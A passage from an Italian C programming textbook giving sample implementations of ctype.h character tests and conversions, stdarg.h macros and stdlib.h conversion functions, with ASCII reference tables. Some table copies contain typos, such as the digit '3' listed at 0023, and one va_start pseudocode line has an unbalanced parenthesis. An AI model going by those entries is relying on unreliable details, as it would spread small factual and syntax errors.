NUL 0000	DLE 0010	SP 0020	0 0030	@ 0040	P 0050	` 0060	p 0070
SOH 0001	DC1 0011	! 0021	1 0031	A 0041	Q 0051	a 0061	q 0071
STX 0002	DC2 0012	" 0022	2 0032	B 0042	R 0052	b 0062	r 0072
ETX 0003	DC3 0013	# 0023	3 0033	C 0043	S 0053	c 0063	s 0073
EOT 0004	DC4 0014	$ 0024	4 0034	D 0044	T 0054	d 0064	t 0074
ENQ 0005	NAK 0015	% 0025	5 0035	E 0045	U 0055	e 0065	u 0075
ACK 0006	SYN 0016	& 0026	6 0036	F 0046	V 0056	f 0066	v 0076
BEL 0007	ETB 0017	' 0027	7 0037	G 0047	W 0057	g 0067	w 0077
BS 0008	CAN 0018	(0028	8 0038	H 0048	X 0058	h 0068	x 0078
HT 0009	EM 0019	) 0029	9 0039	I 0049	Y 0059	i 0069	y 0079
LF 000A	SUB 001A	* 002A	: 003A	J 004A	Z 005A	j 006A	z 007A
VT 000B	ESC 001B	+ 002B	; 003B	K 004B	[005B	k 006B	{ 007B
FF 000C	FS 001C	, 002C	< 003C	L 004C	\ 005C	l 006C	| 007C
CR 000D	GS 001D	- 002D	= 003D	M 004D	] 005D	m 006D	} 007D
SO 000E	RS 001E	. 002E	> 003E	N 004E	^ 005E	n 006E	~ 007E
SI 000F	US 001F	/ 002F	? 003F	O 004F	_ 005F	o 006F	DEL 007F

```
#include <ctype.h>
int
isprint (int c)
{
  if ((c >= 0x20) && (c <= 0x7E))
    {
      return 1;
    }
  else
    {
      return 0;
    }
}
```

Listato 80.57. Funzione ***ispunct()***.

NUL 0000	DLE 0010	SP 0020	0 0030	@ 0040	P 0050	` 0060	p 0070
SOH 0001	DC1 0011	! 0021	1 0031	A 0041	Q 0051	a 0061	q 0071
STX 0002	DC2 0012	" 0022	2 0032	B 0042	R 0052	b 0062	r 0072
ETX 0003	DC3 0013	# 0023	3 0033	C 0043	S 0053	c 0063	s 0073
EOT 0004	DC4 0014	$ 0024	4 0034	D 0044	T 0054	d 0064	t 0074
ENQ 0005	NAK 0015	% 0025	5 0035	E 0045	U 0055	e 0065	u 0075
ACK 0006	SYN 0016	& 0026	6 0036	F 0046	V 0056	f 0066	v 0076
BEL 0007	ETB 0017	' 0027	7 0037	G 0047	W 0057	g 0067	w 0077
BS 0008	CAN 0018	(0028	8 0038	H 0048	X 0058	h 0068	x 0078
HT 0009	EM 0019	) 0029	9 0039	I 0049	Y 0059	i 0069	y 0079
LF 000A	SUB 001A	* 002A	: 003A	J 004A	Z 005A	j 006A	z 007A
VT 000B	ESC 001B	+ 002B	; 003B	K 004B	[005B	k 006B	{ 007B
FF 000C	FS 001C	, 002C	< 003C	L 004C	\ 005C	l 006C	| 007C
CR 000D	GS 001D	- 002D	= 003D	M 004D	] 005D	m 006D	} 007D
SO 000E	RS 001E	. 002E	> 003E	N 004E	^ 005E	n 006E	~ 007E
SI 000F	US 001F	/ 002F	? 003F	O 004F	_ 005F	o 006F	DEL 007F

```
#include <ctype.h>
int
ispunct (int c)
{
  if (  isgraph (c)
      && (! isspace (c))
      && (! isalnum(c)))
    {
      return 1;
    }
  else
    {
      return 0;
    }
}
```

Listato 80.58. Funzione *isspace()*.

NUL 0000	DLE 0010	SP 0020	0 0030	@ 0040	P 0050	‘ 0060	p 0070
SOH 0001	DC1 0011	! 0021	1 0031	A 0041	Q 0051	a 0061	q 0071
STX 0002	DC2 0012	" 0022	2 0032	B 0042	R 0052	b 0062	r 0072
ETX 0003	DC3 0013	# 0023	3 0023	C 0043	S 0053	c 0063	s 0073
EOT 0004	DC4 0014	$ 0024	4 0034	D 0044	T 0054	d 0064	t 0074
ENQ 0005	NAK 0015	% 0025	5 0035	E 0045	U 0055	e 0065	u 0075
ACK 0006	SYN 0016	& 0026	6 0036	F 0046	V 0056	f 0066	v 0076
BEL 0007	ETB 0017	’ 0027	7 0037	G 0047	W 0057	g 0067	w 0077
BS 0008	CAN 0018	(0028	8 0038	H 0048	X 0058	h 0068	x 0078
HT 0009	EM 0019	) 0029	9 0039	I 0049	Y 0059	i 0069	y 0079
LF 000A	SUB 001A	* 002A	: 003A	J 004A	Z 005A	j 006A	z 007A
VT 000B	ESC 001B	+ 002B	; 003B	K 004B	[005B	k 006B	{ 007B
FF 000C	FS 001C	, 002C	< 003C	L 004C	\ 005C	l 006C		007C
CR 000D	GS 001D	− 002D	= 003D	M 004D	] 005D	m 006D	} 007D
SO 000E	RS 001E	. 002E	> 003E	N 004E	^ 005E	n 006E	~ 007E
SI 000F	US 001F	/ 002F	? 003F	O 004F	_ 005F	o 006F	DEL 007F

```
#include <ctype.h>
int
isspace (int c)
{
  if (   (c == ' ')
      || (c == '\f')
      || (c == '\n')
      || (c == '\r')
      || (c == '\t')
      || (c == '\v'))
    {
      return 1;
    }
  else
    {
      return 0;
    }
}
```

Listato 80.59. Funzione *isupper()*.

NUL 0000	DLE 0010	SP 0020	0 0030	@ 0040	P 0050	‘ 0060	p 0070
SOH 0001	DC1 0011	! 0021	1 0031	A 0041	Q 0051	a 0061	q 0071
STX 0002	DC2 0012	" 0022	2 0032	B 0042	R 0052	b 0062	r 0072
ETX 0003	DC3 0013	# 0023	3 0023	C 0043	S 0053	c 0063	s 0073
EOT 0004	DC4 0014	$ 0024	4 0034	D 0044	T 0054	d 0064	t 0074
ENQ 0005	NAK 0015	% 0025	5 0035	E 0045	U 0055	e 0065	u 0075
ACK 0006	SYN 0016	& 0026	6 0036	F 0046	V 0056	f 0066	v 0076
BEL 0007	ETB 0017	’ 0027	7 0037	G 0047	W 0057	g 0067	w 0077
BS 0008	CAN 0018	(0028	8 0038	H 0048	X 0058	h 0068	x 0078
HT 0009	EM 0019	) 0029	9 0039	I 0049	Y 0059	i 0069	y 0079
LF 000A	SUB 001A	* 002A	: 003A	J 004A	Z 005A	j 006A	z 007A
VT 000B	ESC 001B	+ 002B	; 003B	K 004B	[005B	k 006B	{ 007B
FF 000C	FS 001C	, 002C	< 003C	L 004C	\ 005C	l 006C		007C
CR 000D	GS 001D	− 002D	= 003D	M 004D	] 005D	m 006D	} 007D
SO 000E	RS 001E	. 002E	> 003E	N 004E	^ 005E	n 006E	~ 007E
SI 000F	US 001F	/ 002F	? 003F	O 004F	_ 005F	o 006F	DEL 007F

```
#include <ctype.h>
int
isupper (int c)
{
  if ((c >= 0x41) && (c <= 0x5A))
    {
      return 1;
    }
  else
    {
      return 0;
    }
}
```

Listato 80.60. Funzione ***isxdigit()***.

NUL 0000	DLE 0010	SP 0020	0 0030	@ 0040	P 0050	‘ 0060	p 0070
SOH 0001	DC1 0011	! 0021	1 0031	A 0041	Q 0051	a 0061	q 0071
STX 0002	DC2 0012	" 0022	2 0032	B 0042	R 0052	b 0062	r 0072
ETX 0003	DC3 0013	# 0023	3 0033	C 0043	S 0053	c 0063	s 0073
EOT 0004	DC4 0014	$ 0024	4 0034	D 0044	T 0054	d 0064	t 0074
ENQ 0005	NAK 0015	% 0025	5 0035	E 0045	U 0055	e 0065	u 0075
ACK 0006	SYN 0016	& 0026	6 0036	F 0046	V 0056	f 0066	v 0076
BEL 0007	ETB 0017	’ 0027	7 0037	G 0047	W 0057	g 0067	w 0077
BS 0008	CAN 0018	(0028	8 0038	H 0048	X 0058	h 0068	x 0078
HT 0009	EM 0019	) 0029	9 0039	I 0049	Y 0059	i 0069	y 0079
LF 000A	SUB 001A	* 002A	: 003A	J 004A	Z 005A	j 006A	z 007A
VT 000B	ESC 001B	+ 002B	; 003B	K 004B	[005B	k 006B	{ 007B
FF 000C	FS 001C	, 002C	< 003C	L 004C	\ 005C	l 006C	| 007C
CR 000D	GS 001D	– 002D	= 003D	M 004D	] 005D	m 006D	} 007D
SO 000E	RS 001E	. 002E	> 003E	N 004E	^ 005E	n 006E	~ 007E
SI 000F	US 001F	/ 002F	? 003F	O 004F	_ 005F	o 006F	DEL 007F

```
#include <ctype.h>
int
isxdigit (int c)
{
  if (   ((c >= 0x30) && (c <= 0x39))
      || ((c >= 0x41) && (c <= 0x46))
      || ((c >= 0x61) && (c <= 0x66)))
    {
      return 1;
    }
  else
    {
      return 0;
    }
}
```

Nello standard POSIX si aggiunge la funzione ***isascii()***:

POSIX

Listato 80.61. Funzione ***isascii()***.

NUL 0000	DLE 0010	SP 0020	0 0030	@ 0040	P 0050	‘ 0060	p 0070
SOH 0001	DC1 0011	! 0021	1 0031	A 0041	Q 0051	a 0061	q 0071
STX 0002	DC2 0012	" 0022	2 0032	B 0042	R 0052	b 0062	r 0072
ETX 0003	DC3 0013	# 0023	3 0033	C 0043	S 0053	c 0063	s 0073
EOT 0004	DC4 0014	$ 0024	4 0034	D 0044	T 0054	d 0064	t 0074
ENQ 0005	NAK 0015	% 0025	5 0035	E 0045	U 0055	e 0065	u 0075
ACK 0006	SYN 0016	& 0026	6 0036	F 0046	V 0056	f 0066	v 0076
BEL 0007	ETB 0017	’ 0027	7 0037	G 0047	W 0057	g 0067	w 0077
BS 0008	CAN 0018	(0028	8 0038	H 0048	X 0058	h 0068	x 0078
HT 0009	EM 0019	) 0029	9 0039	I 0049	Y 0059	i 0069	y 0079
LF 000A	SUB 001A	* 002A	: 003A	J 004A	Z 005A	j 006A	z 007A
VT 000B	ESC 001B	+ 002B	; 003B	K 004B	[005B	k 006B	{ 007B
FF 000C	FS 001C	, 002C	< 003C	L 004C	\ 005C	l 006C	| 007C
CR 000D	GS 001D	– 002D	= 003D	M 004D	] 005D	m 006D	} 007D
SO 000E	RS 001E	. 002E	> 003E	N 004E	^ 005E	n 006E	~ 007E
SI 000F	US 001F	/ 002F	? 003F	O 004F	_ 005F	o 006F	DEL 007F

```
#include <ctype.h>
int
isascii (int c)
{
  if ((c >= 0x00) && (c <= 0x7F))
    {
      return 1;
    }
  else
    {
      return 0;
    }
}
```

80.7.2 Macro-istruzioni «is...()»

In alternativa a delle funzioni vere e proprie, si possono realizzare semplicemente delle macro-istruzioni per verificare le condizioni riferite al carattere. Il listato seguente è conforme a quanto già visto nella sezione precedente:

```
#define isblank(C)  ((int) (C == ' ' || C == '\t'))
#define isspace(C)  ((int) (C == ' ' \
                           || C == '\f' \
                           || C == '\n' \
                           || C == '\n' \
                           || C == '\r' \
                           || C == '\t' \
                           || C == '\v'))
#define isdigit(C)  ((int) (C >= '0' && C <= '9'))
#define isxdigit(C) ((int) ((C >= '0' && C <= '9') \
                            || (C >= 'A' && C <= 'F') \
                            || (C >= 'a' && C <= 'f')))
#define isupper(C)  ((int) (C >= 'A' && C <= 'Z'))
#define islower(C)  ((int) (C >= 'a' && C <= 'z'))
#define iscntrl(C)  ((int) ((C >= 0x00 && C <= 0x1F) || C == 0x7F))
#define isgraph(C)  ((int) (C >= 0x21 && C <= 0x7E))
#define isprint(C)  ((int) (C >= 0x20 && C <= 0x7E))
#define isalpha(C)  (isupper (C) || islower (C))
#define isalnum(C)  (isalpha (C) || isdigit (C))
#define ispunct(C)  (isgraph (C) && (!isspace (C)) && (!isalnum (C)))
#define isascii(C)  ((int) (C >= 0x00 && C <= 0x7F))
```

80.7.3 Funzioni di conversione

Le due funzioni ***tolower()*** e ***toupper()*** si occupano di convertire un carattere, rispettivamente, in minuscolo o in maiuscolo.

Listato 80.63. Funzione ***tolower()***.

NUL 0000	DLE 0010	SP 0020	0 0030	@ 0040	P 0050	‘ 0060	p 0070
SOH 0001	DC1 0011	! 0021	1 0031	A 0041	Q 0051	a 0061	q 0071
STX 0002	DC2 0012	" 0022	2 0032	B 0042	R 0052	b 0062	r 0072
ETX 0003	DC3 0013	# 0023	3 0023	C 0043	S 0053	c 0063	s 0073
EOT 0004	DC4 0014	$ 0024	4 0034	D 0044	T 0054	d 0064	t 0074
ENQ 0005	NAK 0015	% 0025	5 0035	E 0045	U 0055	e 0065	u 0075
ACK 0006	SYN 0016	& 0026	6 0036	F 0046	V 0056	f 0066	v 0076
BEL 0007	ETB 0017	’ 0027	7 0037	G 0047	W 0057	g 0067	w 0077
BS 0008	CAN 0018	(0028	8 0038	H 0048	X 0058	h 0068	x 0078
HT 0009	EM 0019	) 0029	9 0039	I 0049	Y 0059	i 0069	y 0079
LF 000A	SUB 001A	* 002A	: 003A	J 004A	Z 005A	j 006A	z 007A
VT 000B	ESC 001B	+ 002B	; 003B	K 004B	[005B	k 006B	{ 007B
FF 000C	FS 001C	, 002C	< 003C	L 004C	\ 005C	l 006C	| 007C
CR 000D	GS 001D	– 002D	= 003D	M 004D	] 005D	m 006D	} 007D
SO 000E	RS 001E	. 002E	> 003E	N 004E	^ 005E	n 006E	~ 007E
SI 000F	US 001F	/ 002F	? 003F	O 004F	_ 005F	o 006F	DEL 007F

```
#include <ctype.h>
int
tolower (int c)
{
  if (isupper (c))
    {
      return (c + 0x20);
    }
  else
    {
      return c;
    }
}
```

Listato 80.64. Funzione ***toupper()***.

NUL 0000	DLE 0010	SP 0020	0 0030	@ 0040	P 0050	‘ 0060	p 0070
SOH 0001	DC1 0011	! 0021	1 0031	A 0041	Q 0051	a 0061	q 0071
STX 0002	DC2 0012	" 0022	2 0032	B 0042	R 0052	b 0062	r 0072
ETX 0003	DC3 0013	# 0023	3 0023	C 0043	S 0053	c 0063	s 0073
EOT 0004	DC4 0014	$ 0024	4 0034	D 0044	T 0054	d 0064	t 0074
ENQ 0005	NAK 0015	% 0025	5 0035	E 0045	U 0055	e 0065	u 0075
ACK 0006	SYN 0016	& 0026	6 0036	F 0046	V 0056	f 0066	v 0076
BEL 0007	ETB 0017	’ 0027	7 0037	G 0047	W 0057	g 0067	w 0077
BS 0008	CAN 0018	(0028	8 0038	H 0048	X 0058	h 0068	x 0078
HT 0009	EM 0019	) 0029	9 0039	I 0049	Y 0059	i 0069	y 0079
LF 000A	SUB 001A	* 002A	: 003A	J 004A	Z 005A	j 006A	z 007A
VT 000B	ESC 001B	+ 002B	; 003B	K 004B	[005B	k 006B	{ 007B
FF 000C	FS 001C	, 002C	< 003C	L 004C	\ 005C	l 006C	| 007C
CR 000D	GS 001D	– 002D	= 003D	M 004D	] 005D	m 006D	} 007D
SO 000E	RS 001E	. 002E	> 003E	N 004E	^ 005E	n 006E	~ 007E
SI 000F	US 001F	/ 002F	? 003F	O 004F	_ 005F	o 006F	DEL 007F

```
#include <ctype.h>
int
toupper (int c)
{
  if (islower (c))
    {
      return (c - 0x20);
    }
  else
    {
      return c;
    }
}
```

Lo standard POSIX aggiunge anche la funzione ***toascii()*** che si limita ad azzerare i bit più significativi, dopo il settimo.

POSIX

Listato 80.65. Funzione ***toascii()***.

```
#include <ctype.h>
int
toascii (int c)
{
  return (c & 0x7F);
}
```

80.7.4 Macro-istruzioni di conversione

Anche le funzioni ***toupper()***, ***tolower()*** e ***toascii()*** possono essere rappresentate agevolmente in forma di macro-istruzioni. Il listato seguente è conforme a quanto già visto nella sezione precedente:

```
#define tolower(C)  (isupper (C) ? ((C) + 0x20) : (C))
#define toupper(C)  (islower (C) ? ((C) - 0x20) : (C))
#define toascii(C)  (C & 0x7F)
```

POSIX

Ma nel caso dello standard POSIX, in questo caso vanno ancora aggiunge due macro-istruzioni, a cui non fanno capo funzioni con lo stesso nome:

```
#define _tolower(C) (isupper (C) ? ((C) + 0x20) : (C))
#define _toupper(C) (islower (C) ? ((C) - 0x20) : (C))
```

80.7.5 Esempio di utilizzo delle funzioni

Viene proposto un programma molto semplice che utilizza tutte le funzioni dichiarate nel file '`ctype.h`', ma solo secondo lo standard C:

```
#include <stdio.h>
#include <ctype.h>

int
main (int argc, char *argv[])
{
  int c;
  for (c = 0; c <= 0x7F; c++)
    {
      printf ("%02x", c);
      printf ("\t"); if (iscntrl (c))  printf ("cntrl");
                     if (isprint (c))  printf ("print");
      printf ("\t"); if (isblank (c))  printf ("blank");
                     if (isgraph (c))  printf ("graph");
      printf ("\t"); if (isspace (c))  printf ("space");
                     if (ispunct (c))  printf ("punct");
                     if (isupper (c))  printf ("upper");
                     if (islower (c))  printf ("lower");
                     if (isdigit (c))  printf ("digit");
      printf ("\t"); if (isalnum (c))  printf ("alnum");
```

```
      printf ("\t"); if (isxdigit (c)) printf ("xdigit");
      printf ("\t"); if (isalpha (c))  printf ("alpha");
      printf ("\n");
    }
  printf ("\n");
  printf ("ASCII:\n");
  for (c = 0; c <= 0x7F; c++)
    {
      if (isprint (c)) printf ("%c", c);
    }
  printf ("\n");
  printf ("\n");
  printf ("to upper:\n");
  for (c = 0; c <= 0x7F; c++)
    {
      if (isprint (c)) printf ("%c", toupper (c));
    }
  printf ("\n");
  printf ("\n");
  printf ("to lower:\n");
  for (c = 0; c <= 0x7F; c++)
    {
      if (isprint (c)) printf ("%c", tolower (c));
    }
  printf ("\n");
  return 0;
}
```

Una volta compilato il programma, avviandolo si deve ottenere un testo come quello che si vede nell'estratto seguente:

```
…
44      print   graph   upper   alnum   xdigit  alpha
45      print   graph   upper   alnum   xdigit  alpha
46      print   graph   upper   alnum   xdigit  alpha
47      print   graph   upper   alnum           alpha
48      print   graph   upper   alnum           alpha
…
ASCII:
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ↩
↪[\]^_`abcdefghijklmnopqrstuvwxyz{|}~

to upper:
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ↩
↪[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~

to lower:
!"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz↩
↪[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
```

80.8 File «stdarg.h»

Il file '`stdarg.h`' della libreria standard definisce principalmente delle macro-istruzioni per gestire gli argomenti variabili passati a una funzione, assieme a un tipo di variabile, '**`va_list`**', specifico per gestire il puntatore a tali parametri non dichiarati (si veda eventualmente la realizzazione del file '`stdarg.h`' nei sorgenti di os16, listato 106.1.12, oppure di os32, listato 120.1.10).

Tabella 80.70. Macro-istruzioni standard per la gestione di argomenti variabili.

Macro-istruzione	Descrizione
`void va_start (va_list` ***ap***`,` ***parametro_n***`);`	Inizializza la variabile ***ap***, di tipo '**`va_list`**', in modo che punti all'area di memoria immediatamente successiva al parametro indicato, il quale deve essere l'ultimo.
tipo `va_arg (va_list` ***ap***`,` ***tipo***`);`	Restituisce il contenuto dell'area di memoria a cui punta ***ap***, utilizzando il tipo indicato, incrementando contestualmente il puntatore in modo che, al termine, si trovi nell'area di memoria immediatamente successiva.
`void va_copy (va_list` ***dst***`, va_list` ***org***`);`	Copia il puntatore ***org*** nella variabile ***dst***.
`void va_end (va_list` ***ap***`);`	Conclude l'utilizzo del puntatore ***ap***.

80.8.1 Realizzazione

Il listato successivo è tutto ciò che serve per realizzare la libreria:

```
typedef unsigned char * va_list;

#define va_start(AP, LAST) \
    ((void) ((AP) = ((va_list) &(LAST)) + (sizeof (LAST))))

#define va_end(AP) ((void) ((AP) = 0))
#define va_copy(DEST, SRC) ((void) ((DEST) = (va_list) (SRC)))

#define va_arg(AP, TYPE) (((AP) = (AP) + (sizeof (TYPE))), \
                          *((TYPE *) ((AP) - (sizeof (TYPE)))))
```

Delle macro-istruzioni mostrate nell'esempio, la più difficile da interpretare potrebbe essere ***va_arg***, la quale deve restituire il valore dell'area di memoria puntata inizialmente, ma garantendo di lasciare il puntatore pronto per l'area successiva. In pratica, prima viene incrementato il puntatore per l'area successiva, quindi viene dereferenziato ricalcolando lo spazio necessario a raggiungere la posizione precedente. In altri termini è come scrivere:

```
...
va_list ap;
```

```
...
//
// va_start
//
ap = (va_list) &ultimo_parametro;
ap = ap + (sizeof (tipo_ultimo_parametro);
...
//
// va_arg
//
ap = ap + (sizeof tipo_successivo);
var = (tipo_successivo *) (ap - (sizeof (tipo_successivo)));
...
//
// va_end
//
ap = 0;
...
```

80.8.2 Esempio di utilizzo delle macro

Viene riproposto un programma molto semplice, già apparso in altri capitoli, per dimostrare l'utilizzo delle macro-istruzioni dichiarate nel file '`stdarg.h`'.

```
#include <stdio.h>
#include <stdarg.h>

void
f (int w,...)
{
  long double x;      // Dichiara le variabili che servono
  long long int y;    // a contenere gli argomenti per i
  int z;              // quali mancano i parametri formali.

  va_list ap;         // Dichiara il puntatore agli argomenti.

  va_start (ap, w);   // Posiziona il puntatore dopo la fine di «w».

  x = va_arg (ap, long double);      // Estrae l'argomento successivo
                                     // portando avanti il puntatore
                                     // di conseguenza.

  printf ("w = %i; ", w);   // Mostra il valore del primo parametro.
  printf ("x = %Lf; ", x);  // Mostra il valore dell'argomento
                            // successivo.

  y = va_arg (ap, long long int);      // Estrapola e mostra
```

```
  printf ("y = %lli; ", y);           // il terzo argomento.

  z = va_arg (ap, int);               // Estrapola e mostra
  printf ("z = %i\n", z);             // il quarto argomento.

  va_end (ap);                        // Conclude la scansione.

  return;
}

int
main (int argc, char *argv[])
{
  f (10, (long double)12.34, (long long int)13, 14);
  return 0;
}
```

Avviando il programma di esempio si deve visualizzare il messaggio seguente:

```
w = 10; x = 12.340000; y = 13; z = 14
```

80.8.3 Promozione

Va ricordato che gli argomenti delle chiamate alle funzioni vengono adattati in modo tale da facilitare l'uso della pila dei dati. Pertanto, i valori che prevedono una rappresentazione in memoria troppo piccola, subiscono quella che è nota come «promozione».

La funzione che utilizza una quantità di argomenti variabili, dovrebbe gestire solo valori che non possono subire una trasformazione di questo tipo, altrimenti, quando utilizza la macroistruzione ***va_arg*** deve indicare un tipo adeguato alla promozione che si prevede sia applicata ai valori degli argomenti.

A questo proposito si può notare che nell'esempio di utilizzo apparso nel capitolo, non si fa mai uso di tipi di dati di rango inferiore a '**`int`**'.

80.9 File «stdlib.h»

Il file '`stdlib.h`' della libreria standard definisce alcuni tipi di dati, varie funzioni di utilità generale e alcune macro-variabili. Viene proposto un esempio di questo file, e di alcune delle funzioni a cui si riferisce, indicando per le altre solo i prototipi (si veda eventualmente la realizzazione del file '`stdlib.h`' e di alcune delle sue funzioni, nei sorgenti di os16, sezione 106.10, oppure di os32, sezione 120.13).

Lo standard POSIX estende significativamente il contenuto del file '`stdlib.h`', ma qui non si fa riferimento ad alcuna di tali estensioni.

80.9.1 Tipi di dati speciali

I tipi di dati che il file 'stdlib.h' definisce sono '**size_t**' e '**wchar_t**', già descritti nel file 'stddef.h' (sezione 80.13), oltre a '**div_t**', '**ldiv_t**' e '**lldiv_t**'. I tipi '...**div_t**' sono delle strutture il cui scopo è quello di contenere il risultato di una divisione, espresso come quoziente e resto. Questi tipi di dati si usano per contenere il valore restituito dalle funzioni ***div()***, ***ldiv()*** e ***lldiv()***. La distinzione tra i tre tipi deriva dalla capienza dei membri della struttura. Ecco come potrebbero essere dichiarati:

```
typedef struct {
    int quot;
    int rem;
} div_t;
typedef struct {
    long int quot;
    long int rem;
} ldiv_t;
typedef struct {
    long long int quot;
    long long int rem;
} lldiv_t;
```

80.9.2 Macro-variabili

Il file 'stdlib.h' dichiara nuovamente la macro-variabile ***NULL***, come già avviene nel file 'stddef.h' (sezione 80.13); inoltre definisce quelle seguenti:

Macro	Descrizione
EXIT_SUCCESS EXIT_FAILURE	Rappresentano un numero intero che possa essere usato come argomento della funzione ***exit()***, per rappresentare il successo o l'insuccesso dell'attività svolta. Normalmente, i valori in cui si espandono le due macro-variabili sono rispettivamente zero e uno.
RAND_MAX	Rappresenta il valore massimo che possa essere generato dalla funzione ***rand()*** e generalmente corrisponde al valore massimo che può assumere un numero intero di tipo '**int**'.
MB_CUR_MAX	Rappresenta la quantità massima di byte che possono essere utilizzati in una sequenza multibyte, in base alla configurazione locale. Questo valore è un intero che deve essere di tipo '**size_t**' è non può superare il limite rappresentato dalla macro-variabile ***MB_LEN_MAX*** (dichiarata nel file 'limits.h', descritto nella sezione 80.3).

Merita un po' di attenzione la macro-variabile ***MB_CUR_MAX***. La sequenza multibyte è una sequenza di byte che, in base alla configurazione locale, deve essere interpretata come un carattere singolo. Per esempio, questo meccanismo si utilizza nella codifica UTF-8 e in altre; ma proprio perché esistono più metodi alternativi, per quanto superati possano essere rispetto a UTF-8, la configurazione locale stabilisce le regole particolari per interpretare tali sequenze e i limiti rispetto a queste. Pertanto, la macro-variabile ***MB_CUR_MAX*** dovrebbe espandersi in una funzione che restituisce il valore desiderato, in relazione alla configurazione locale che si trova a essere attiva in un certo momento. Per semplicità, nell'esempio che viene proposto si associa il valore di questa macro-variabile a quello massimo accettabile in assoluto.

```
#define EXIT_FAILURE    1
#define EXIT_SUCCESS    0

#define RAND_MAX        INT_MAX

#define MB_CUR_MAX      ((size_t) MB_LEN_MAX)  // Sarebbe meglio una funzione.
```

Nell'esempio proposto viene usata la macro-variabile ***MB_LEN_MAX***, pertanto, in questo modo si rende necessaria l'inclusione del file '`limits.h`' che deve contenere la sua dichiarazione.

80.9.3 Conversioni numeriche

Un gruppo di funzioni del file '`stdlib.h`' permette di convertire una stringa in un valore numerico. In particolare, le funzioni con nomi del tipo ***ato...()*** (*ASCII to* ...) non eseguono controlli particolari e non modificano la variabile ***errno*** (sezione 80.5); invece, le funzioni con nomi ***strto...()*** (*string to* ...) sono più sofisticate.

Le funzioni ***ato...()*** interpretano una stringa e convertono il suo contenuto in un numero intero o in un numero a virgola mobile. Le funzioni sono ***atoi()***, ***atol()***, ***atoll()*** e ***atof()***, che convertono rispettivamente in un tipo '**`int`**', '**`long int`**', '**`long long int`**' e '**`double`**'. Ecco i prototipi:

```
int           atoi  (const char *nptr);
long int      atol  (const char *nptr);
long long int atoll (const char *nptr);
double        atof  (const char *nptr);
```

Viene proposta una soluzione per queste funzioni di conversione:

```
#include <stdlib.h>
#include <ctype.h>
int
atoi (const char *nptr)
{
  int i;
  int sign = +1;
  int n;

  for (i = 0; isspace (nptr[i]); i++)
    {
      ;       // Si limita a saltare gli spazi iniziali.
    }

  if (nptr[i] == '+')
    {
      sign = +1;
      i++;
    }
  else if (nptr[i] == '-')
    {
      sign = -1;
```

```
      i++;
    }

  for (n = 0; isdigit (nptr[i]); i++)
    {
      n = (n * 10) + (nptr[i] - '0');         // Accumula il valore.
    }

  return sign * n;
}
```

Logicamente, le funzioni ***atol()*** e ***atoll()*** sono praticamente uguali, con la differenza che la variabile automatica ***n*** deve essere dello stesso tipo restituito dalla funzione; pertanto si passa alla soluzione proposta per la funzione ***atof()***:

```
#include <stdlib.h>
#include <ctype.h>
double
atof (const char *nptr)
{
  int i;
  int sign = +1;
  double n;           // Il risultato sarà:  n / d.
  double d;           //

  for (i = 0; isspace (nptr[i]); i++)
    {
      ;       // Si limita a saltare gli spazi iniziali.
    }

  if (nptr[i] == '+')
    {
      sign = +1;
      i++;
    }
  else if (nptr[i] == '-')
    {
      sign = -1;
      i++;
    }

  for (n = 0.0; isdigit (nptr[i]); i++)
    {
      n = (n * 10.0) + (nptr[i] - '0');       // Accumula il valore.
    }

  if (nptr[i] == '.')
    {
```

```
        i++;
      }

    for (d = 1.0; isdigit (nptr[i]); i++)
      {
        // La variabile "d" viene inizializzata in ogni caso.

        n = (n * 10.0) + (nptr[i] - '0');
        d = d * 10.0;   // Tiene conto di quanto dovrà essere diviso
                        // il risultato.
      }

    return sign * n / d;
}
```

Le funzioni ***strto...()*** sono più complesse rispetto a quelle ***ato...()***. Per dare una descrizione sommaria, si può osservare che, oltre alla stringa da scandire ricevono un puntatore di puntatore all'ultimo elemento utile di tale stringa;[2] se poi questo è nullo, la scansione avviene normalmente nella stringa, entro il limite del carattere nullo di terminazione. Se fallisce il riconoscimento del valore da tradurre, il puntatore all'inizio della stringa viene copiato nell'area di memoria a cui punta il puntatore di puntatore, a meno che questo, inizialmente, sia già nullo (potrebbe essere nullo il puntatore principale o il contenuto dell'area a cui punta).

In caso di errore nell'interpretazione del valore, queste funzioni utilizzano la variabile ***errno*** per annotare il tipo di problema riscontrato.

I valori che possono essere convertiti sono esprimibili in notazione decimale o esadecimale; inoltre, le funzioni che convertono in valori a virgola mobile, accettano una notazione esponenziale e delle parole chiave per rappresentare l'infinito e NaN (*Not a number*). Nel caso particolare delle funzioni che convertono in un numero intero, esiste un terzo parametro per specificare la base di numerazione attesa.

Vengono presentati solo i prototipi di queste funzioni:

```
float                  strtof   (const char * restrict nptr,
                                  char ** restrict endptr);
double                 strtod   (const char * restrict nptr,
                                  char ** restrict endptr);
long double            strtold  (const char * restrict nptr,
                                  char ** restrict endptr);
```

```
long int               strtol   (const char * restrict nptr,
                                  char ** restrict endptr, int base);
long long int          strtoll  (const char * restrict nptr,
                                  char ** restrict endptr, int base);
unsigned long int      strtoul  (const char * restrict nptr,
                                  char ** restrict endptr, int base);
unsigned long long int strtoull (const char * restrict nptr,
                                  char ** restrict endptr, int base);
```

Per una descrizione completa si vedano le pagine di manuale *strtof(3)*, *strtod(3)*, *strtold(3)*, *strtol(3)*, *strtoll(3)*, *strtoul(3)* e *strtoull(3)*, oltre alla documentazione standard citata alla fine del capitolo.

L'esempio seguente mostra l'uso delle funzioni ***ato...()***:

```
#include <stdio.h>
#include <stdlib.h>

int main (void)
{
  int             i;
  long int       li;
  long long int lli;
  double          d;
  char          s[] = "  -987654.3210";

  i = atoi (s);
  li = atol (s);
  lli = atoll (s);
  d = atof (s);

  printf ("\"%s\" = %i, %li, %lli, %f\n", s, i, li, lli, d);

  return 0;
}
```

Il risultato che ci si attende di visualizzare è questo:

```
"  -987654.3210" = -987654, -987654, -987654, -987654.321000
```

80.9.4 Funzioni per la generazione di numeri in modo pseudo-casuale

